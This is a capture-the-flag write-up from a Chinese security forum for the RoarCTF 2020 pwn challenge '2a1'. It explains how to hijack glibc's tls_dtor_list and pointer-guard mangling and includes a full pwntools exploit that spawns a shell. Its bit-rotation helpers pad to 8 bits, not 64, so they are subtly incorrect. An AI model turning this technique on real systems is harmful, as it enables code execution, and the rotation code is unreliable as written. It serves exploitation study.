首页
社区
课程
招聘
[原创]roarctf 2020 PWN 2a1
发表于: 2020-12-21 22:42 6468

[原创]roarctf 2020 PWN 2a1

2020-12-21 22:42
6468

roarctf 2020 PWN 2a1

最近期末考试,忙里偷闲来复现一下orz

题目分析

一个任意读,一个任意写,打exit,但不是传统的exithook劫持。可以对比一下。

 

1.传统的exithook是根据:exit()->run_exit_handlers->_dl_fini->rtld_lock_unlock_recursive,这跳路线。但是这道题他赋给任意写的位置的是一个heap地址,并不是直接把我们输入的值写过去,所以这一条路走不通。

 

2.重新找一条路:

1
2
3
4
5
6
7
8
9
10
exit()
    __run_exit_handlers (int status, struct exit_function_list **listp,bool run_list_atexit)
        __call_tls_dtors (void) 这个函数负责析构tls结构体。
        {
        while (tls_dtor_list)
            struct dtor_list *cur = tls_dtor_list;
              dtor_func func = cur->func;        //func刚好是dtor_list中的第一个位置的成员。
            PTR_DEMANGLE (func);           
            func (cur->obj);                //obj是第二次位置的成员。
        }

如此我们通过将 func写成system,将obj写成binsh,即可。

 

也就是说核心在于劫持tls_dtor_list 为我们的heap地址。然后依次放上system和binsh地址。

 

而PTR_DEMANGLE对func做了异或的操作

1
2
3
#  define PTR_DEMANGLE(reg)   
                ror $2*LP_SIZE+1, reg;                  \
                xor %fs:POINTER_GUARD, reg

做了循环右移并且与pointer_guard做异或。但是tls结构体位置不固定,需要爆破。pointer_guard在tls 0x30的位置。也就是stack_guard(canary)的下面,他们俩个一个用来保护栈,一个用来保护指针。

 

tls_dtor_list 的时候是从 TLS-0x40 处取的。

1
2
3
0x7ffff7a475d6 <__call_tls_dtors+6>     mov    rbp, qword ptr [rip + 0x3897a3]
;RBP  0xffffffffffffffc0
0x7ffff7a475dd <__call_tls_dtors+13>    mov    rbx, qword ptr fs:[rbp]

加密处理过程如下:

1
2
0x7ffff7a475fb <__call_tls_dtors+43>    ror    rax, 0x11
0x7ffff7a475ff <__call_tls_dtors+47>    xor    rax, qword ptr fs:[0x30]

先右移再异或。所以就是:system先xor pointer_guard再左移0x11.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./2a1"
ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
libc = ELF(libc_path)
elf = ELF(elf_path)
context.timeout=5
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
def ROR(i,index):
    tmp = bin(i)[2:].rjust(8,"0")
    for _ in range(index):   # 模拟循环右移
        tmp = tmp[-1] + tmp[:-1]   #取最后一位 取从第1位到最后一位前一位,拼接起来。相当于右移了一位。
    return int(tmp, 2)
 
def ROL(i,index):
    tmp = bin(i)[2:].rjust(8, "0")
    for _ in range(index):
        tmp = tmp[1:] + tmp[0]
    return int(tmp, 2)
 
def exp():
    global io
    #io = process(elf_path)
    #get_libc_base(io)
    #io = remote("111.231.70.44",28026)
    sleep(0.5)
    ru("Gift: ")
    sleep(0.5)
    libc.address = eval(ru('\n')) - libc.sym['alarm']
    success("libc:"+hex(libc.address))
    system = libc.sym['system']
    if libc.address >> 40 != 0x7f:
        info("error libc!")
        raise Exception('error libc!')
    binsh = libc.search("/bin/sh").next()
    success("binsh:"+hex(binsh))
    success("system:"+hex(system))
 
    offset = 0x5ed700        #一般只有中间两位不一样
    #offset = 0x5cd700
    TLS = offset+libc.address
    tls_dtor_list_addr = TLS-0x40
    success("tls_dtor_list:"+hex(tls_dtor_list_addr))
    success("pointer_guard_addr:"+hex(TLS+0x30))
    read=   p64(TLS+0x30)     #pointer_guard;
    write = p64(tls_dtor_list_addr)
 
    sa('where to read?:',read)
    ru("data: ")
    pointer_guard = u64(r(8))
    success("pointer_guard:"+hex(pointer_guard))
    if pointer_guard==0x6f74206572656877:
        info("error pointer_guard")
        raise Exception('error pointer_guard!')
 
 
    sa('where to write?:',write)
    #pause()
    msg= p64(ROL(int(system)^pointer_guard,0x11))+p64(binsh)
    sa('msg: ',msg)
    #ru('123')
    shell()
 
try:
    exp()
except Exception:
    io.close()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-12-21 22:45 被Roland_编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//